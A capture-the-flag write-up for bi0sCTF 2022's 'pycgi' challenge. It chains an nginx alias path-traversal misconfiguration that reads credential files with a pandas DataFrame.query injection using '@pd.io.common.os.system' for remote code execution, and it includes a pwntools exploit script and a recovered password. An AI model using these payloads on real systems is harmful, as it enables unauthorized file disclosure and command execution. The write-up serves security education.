Tags: nginx pandas 

Rating: 1.0

> Hope its working. Can you check?

We get the following nginx config (simplified):

```nginx
http {
sendfile on;

server {
listen 8000;
server_name localhost;

location / {
autoindex on;
root /panda/;
}

location /cgi-bin/ {
gzip off;
auth_basic "Admin Area";
auth_basic_user_file /etc/.htpasswd;

include fastcgi_params;
fastcgi_param SCRIPT_FILENAME /panda/$fastcgi_script_name;
}

location /static {
alias /static/;
}
}
}
```

We see that it has a common misconfiguration: the `alias` block is missing a tailing slash in the location specifier!
This means we can request `http://instance.chall.bi0s.in:10438/static../etc/.htpasswd` which isn't normalized so we can fetch files 'one dir up', luckily a dir up is the root, so we can fetch `/etc/.htpasswd`.

The password hash stored in .htpasswd is: `admin:$apr1$usrUW0sL$XToLdRz.YCRy5TCvpI8UK0`. Initially we could not crack it, but my teammate spotted something odd in `/docker-entrypoint.sh`:

```bash
mv flag.txt $(head /dev/urandom | shasum | cut -d' ' -f1)

htpasswd -mbc /etc/.htpasswd admin ­

spawn-fcgi -s /var/run/fcgiwrap.socket -M 766 /usr/sbin/fcgiwrap

/usr/sbin/nginx

while true; do sleep 1; done
```

What is that weird Â? It is the password! (non-printable in my terminal). Byte sequence: `\xc2\xad`.

Status so far:
* We can read arbitrary files due to nginx misconfiguration
* We can run scripts in `cgi-bin/` with Basic Authentication
* Flag has a randomized filename, so we need RCE to get it

### CGI scripts

In the cgi-bin folder we see a script called `search_currency.py`:

```python
from server import Server
import pandas as pd

try:
df = pd.read_csv("../database/currency-rates.csv")
server = Server()
server.set_header("Content-Type", "text/html")
params = server.get_params()
assert "currency_name" in params
currency_code = params["currency_name"]
results = df.query(f"currency == '{currency_code}'")
server.add_body(results.to_html())
server.send_response()
except Exception as e:
print("Content-Type: text/html")
print()
print("Exception")
print(str(e))
```

It uses a very simple home-made python server to serve requests.
We can send a `currency_code` parameter which will be injected directly to a `DataFrame.query` statement.

Underneath the hood, `.query` uses `pandas.eval` which some people believe is safe:

> "`pandas.eval` is not as dangerous as it sounds. Unlike python’s eval `pandas.eval` cannot execute arbitrary functions.

But this is not true!
We can use `@` to reference local variables, so e.g. this would work:

```python
import os

currency_code = "DKK' or @os.system('ls') or '1' == '1"
df.query(f"currency == '{currency_code}'")
```

But we don't have `os` imported as a local variables :/
Instead we can try with reflections:
* `@df.__class__.__init__.__globals__['__builtins__']['exec']('import os; os.system("ls")')`

Or even better, my teammate also found this short path to `os`:
* `@pd.io.common.os.system('ls')`

Finally we needed to make a raw HTTP request because the server didn't URL decode parameters.
Exploit is:

```python
from pwn import *

io = remote("instance.chall.bi0s.in", 10889, level="debug")
io.send(b"""\
GET /cgi-bin/search_currency.py?currency_name={}'.format(@pd.io.common.os.system('ls /'))# HTTP/1.1
Host: instance.chall.bi0s.in:10889
Authorization: Basic YWRtaW46wq0=

""")

io.interactive()
```

This turns: `df.query(f"currency == '{currency_code}'")` into `df.query(f"currency == '{}'.format(@pd.io.common.os.system('ls /'))#'")`.

Flag: `bi0sctf{9a18559a42e7302b15eeb45c09ab39d6}`

Original writeup (https://github.com/NicolaiSoeborg/ctf-writeups/tree/master/2023/bi0sCTF%202022#challenge-pycgi).